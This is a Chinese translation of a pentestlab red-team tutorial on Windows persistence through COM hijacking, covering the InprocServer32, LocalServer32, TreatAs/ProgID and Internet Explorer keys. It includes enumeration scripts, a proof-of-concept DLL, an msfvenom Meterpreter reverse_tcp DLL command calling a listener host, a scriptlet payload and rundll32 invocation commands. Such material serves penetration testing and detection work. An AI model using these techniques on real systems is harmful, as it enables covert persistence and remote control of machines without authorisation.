简述
原文:https://pentestlab.blog/2020/05/20/persistence-com-hijacking/ by Administrator.In Persistence.Leave a Comment 微软在Windows 3.11中引入了组件对象模型(COM),作为一种实现对象的方法,这些对象可以被不同的框架(ActiveX、COM+、DCOM等)和不同的Windows环境中使用,允许互操作性、进程间通信和代码重用。滥用COM对象可以使红队代表受信任的进程执行任意代码。执行COM劫持不需要管理员权限,因为HKCU注册表蜂巢中的类会在HKLM中的类之前执行。唯一的例外是影响到高完整性的进程(提升),这些进程的对象只能从HKLM的位置加载,以防止权限提升。 有多种方法可以执行代码,但是在红色分组方案中,COM已被用于持久性,横向移动和逃避防御的几种情况。 根据恶意代码执行的方式,在COM劫持过程中会使用各种注册表子项。 这些是:
- InprocServer/InprocServer32
- LocalServer/LocalServer32
- TreatAs
- ProgID 上面的子项位于以下注册表配置单元中:
- HKEY_CURRENT_USER\Software\Classes\CLSID
- HKEY_LOCAL_MACHINE\Software\Classes\CLSID
发现COM keys–劫持
识别可能被用来进行COM劫持的COM密钥是很琐碎的,需要使用Process Monitor来发现缺少CLSID的COM服务器,并且不需要提升权限(HKCU)。Process Monitor可以配置以下过滤器:
- Operation is RegOpenKey
- Result is NAME NOT FOUND
- Path ends with InprocServer32
- Exclude if path starts with HKLM
打开文件并执行任务(例如,标准用户)将生成带有COM keys的列表,可以将该列表进行劫持,以便将任意库加载到受信任的进程。
结果可以直接使用或以CSV和XML等各种格式导出。
David Tulis开发的一个名为acCOMplice的PowerShell脚本包含一个功能,它可以将进程监控结果以CSV格式提取可能被劫持的密钥。
Extract-HijackableKeysFromProcmonCSV -CSVfile .\\pentestlab.CSV
该工具还有一个功能,可以直接检索系统中存在的缺失库及其CLSID。
Find-MissingLibraries
另一种方法是执行以下PowerShell片段,这已由bohops在其有关Abusing the COM Registry Structure.的文章中进行了演示。 这可以用来枚举可能被劫持的“ LocalServer32”类:
$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null } $inproc | ForEach {$_.LocalServer32} > values.txt $paths = gc .\values.txt foreach ($p in $paths){$p;cmd /c dir $p > $null}
同样,以下PowerShell代码可以枚举InprocServer32类:
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null } $paths = $inproc | ForEach {$_.InprocServer32} foreach ($p in $paths){$p;cmd /c dir $p > $nul
执行该代码段将产生一个COM库列表,可以对其进行调查以获取COM劫持机会。 发现COM keys-计划任务 Matt Nelson和 Matthew Graeber开发了一个PowerShell脚本(Get-ScheduledTaskComHandler),可以检查主机上所有在用户登录时执行的、容易被COM劫持的计划任务。
Import-Module .\Get-ScheduledTaskComHandler.ps1 Get-ScheduledTaskComHandler
参数 "PersistenceLocations "将检索容易被COM劫持的调度任务,这些任务可以用于持久化,而且它们不需要提升权限。CLSID和相关的DLL也会显示在输出中。
Get-ScheduledTaskComHandler -PersistenceLocations
任务 "CacheTask "调用时使用 "wininet.dll",其CLSID如下:{0358B920-0AC7-461F-98F4-58E32CD89148} CLSID和相关的DLL也可以从任务的配置文件中获得。该文件存储在以下位置:
C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\Wininet\\CacheTask
另外,从PowerShell控制台调用 "schtasks "实用程序,使用以下参数也可以检索文件的内容。
schtasks /query /XML /TN` `"\Microsoft\Windows\Wininet\CacheTask"
查看任务调度器将验证任务触发器是否要在任何用户登录期间启动。劫持CLSID将在系统上建立一个持久性条件。 插入
InprocServer32
"InprocServer32"(In-ProcServer32)注册表键表示COM库在磁盘上的位置,并定义了线程模型。下图展示了 "InprocServer32 "中通常存在的注册表键。 在HKCU中重新创建上面发现的 "缓存任务 "的注册表键结构,并指向一个任意的DLL而不是 "wininet.dll",将执行代码,因为位于HKCU中的DLL将在HKLM之前被加载。
HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Classes\\CLSID\\{0358b920-0ac7-461f-98f4-58e32cd89148}\\InProcServer32
下面的DLL文件将创建一个消息框,当 "CacheTask "进程启动时,该消息框将展示一条消息,以表明代码已被执行。
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(0, L"Pentestlab COM Hijacking", 0, 0); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
![image.png](/img/sin/M00/00/60/wKg0C2BFzNeARmCWAACNhwIdwzg017.png)
需要将DLL放入磁盘,并且子项“ InprocServer32”需要指向DLL的位置。
![image.png](/img/sin/M00/00/60/wKg0C2BFzPqAbEUbAAC_ObfRBwk853.png)
由于 "CacheTask "默认在用户登录时启动,因此任何用户的代码将在不同的登录中永久执行(持久性)。
![image.png](/img/sin/M00/00/60/wKg0C2BFzQuAB1LnAADlZs6rWNU175.png)
通过执行以下命令,也可以用Metasploit工具 "msfvenom "生成恶意DLL:
```language
msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.0.0.1 LPORT=5555 -f dll > pentestlab.dll
在被劫持发生的同一注册表路径上,用Metasploit生成的DLL替换之前的DLL。 代码将被执行,并在每次用户登录目标系统时建立一个Meterpreter会话。 也可以执行无文件的有效payloads,比如脚本小程序,而不是DLL文件。
<?XML version="1.0"?>
<scriptlet>
<registration
description="Pentest.Lab"
progid="Pentest.Lab"
version="1"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("pentestlab.exe");
]]>
</script>
</scriptlet>
"ScriptletURL "注册表键定义了任意.sct文件的远程位置,当COM类被调用时,该文件将被获取并执行。 执行以下命令将调用COM类,并直接执行有效payload。
rundll32.exe -sta {AAAA1111-0000-0000-0000-0000FEEDACDC}
LocalServer32
LocalServer32注册表项指定了外部COM对象在系统中的位置。这些通常是具有可执行文件形式的应用程序。下面的COM类ID已经在前面的可劫持键枚举过程中被检索到,可以用来执行一个任意的可执行文件。
HKEY\_CLASSES\_ROOT\\CLSID\\{45EAE363-122A-445A-97B6-3DE890E786F8}\\LocalServer32
用任意可执行文件在磁盘上的位置替换应用程序的默认值,将实现劫持。 还需要通过执行以下PowerShell命令来激活ClassID,否则COM对象将被禁用。
\[activator\]::CreateInstance(\[type\]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8"))
当COM对象被调用时,任意的可执行程序将运行,并与命令和控制系统建立会话。
TreatAs/ProgID
“ TreatAs”是一个注册表项,它允许另一个CLSID模拟一个CLSID。 这可以用于将一个COM对象重定向到另一个COM对象。 最初由Casey Smith和Matt Nelson在2017年的WWindows Operating System Archaeology i提出。滥用“ TreatAs”涉及以下两个步骤:
- 在HKCU注册表蜂巢中创建一个恶意的CLSID,并选择一个目标COM服务器。
- 通过添加指向恶意CLSID的 "TreatAs "子键来劫持合法CLSID。 "ProgID "是COM对象的友好名称,它不是唯一的。以下注册表键将ProgID解析为CLSID。
- HKCU\Software\Classes
- HKLM\Software\Classes 这意味着,当应用程序(客户端)激活COM对象(类)时,操作系统将通过首先读取以下注册表位置来解析关联的“ ProgID”:
- HKCU\Software\Classes\ProgID
Casey Smith和Matt Nelson发布了一个概念证明,作为他们演讲的一部分,以证明一个类也可以通过它的 "ProgID "或 "TreatAs "子键进行调用,以执行回避。以下文件可以作为一个例子。
该文件将创建用于劫持有效CLSID的所需注册表键值。执行下面的命令将把该文件导入注册表。
reg import TreatAsPersistence.reg
带有“ -sta”(单线程单元)开关的“ rundll32”实用程序可用于调用恶意的“ TreatAs” CLSID或“ ProID”。
rundll32 -sta {00000001-0000-0000-0000-0000FEEDACDC} rundll32 -sta "pentestlab"
在这两种情况下,任意代码都被成功执行,会话被打开。
InprocServer32 – Internet Explorer
Internet Explorer在企业环境中被积极使用,因为它提供了与具有Web界面的内部应用程序的兼容性。G Data SecurityLabs对COMpfun RAT的分析表明,威胁行为者劫持了一个合法的COM对象,以便在Internet Explorer进程被调用时在系统上建立持久性。 这是因为与许多其他Windows应用程序一样,Internet Explorer使用以下文件“ api-ms-win-downlevel-1×64-l1-1-0._dl”或“ api-ms-win-downlevel-1×86-l1” 进程启动时,将显示“ -1-0._dl”。 可以在以下Windows位置找到此文件:
%APPDATA%\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}
COM Object hijacking persistencePowerShell脚本可以作为该技术的概念验证。执行该脚本将创建所需的文件夹结构,并将对主机的架构进行检查,以便进行必要的注册表修改。
`Import-Module` `'.\COM Object hijacking persistence.ps1`
当 "iexplore.exe "进程启动时,计算器将启动,这将证明劫持成功。 用Metasploit实用程序 "msfvenom "生成一个任意的DLL并替换.dl文件以建立一个Meterpreter会话也很简单。 在注册表中手动创建以下CLSID,并修改该键指向系统中DLL的位置。 当再次启动Internet Explorer时,DLL文件将在可信进程下加载。 一个Meterpreter会话将打开,这将证明已经实现了持久性。需要注意的是,直接使用Metasploit生成的DLL文件可能会导致系统不稳定,Internet Explorer可能会作为一个进程运行但无法打开。这是因为CAccPropServiceClass()会被多次调用,因此需要对DLL文件进行一些进一步的优化。
Tools
- https://github.com/nccgroup/Accomplice
- https://github.com/tyranid/oleviewdotnet
- https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
- https://github.com/3gstudent/COM-Object-hijacking
参考文献
- https://attack.mitre.org/techniques/T1122/
- https://www.youtube.com/watch?v=pH14BvUiTLY
- https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
- https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
- https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/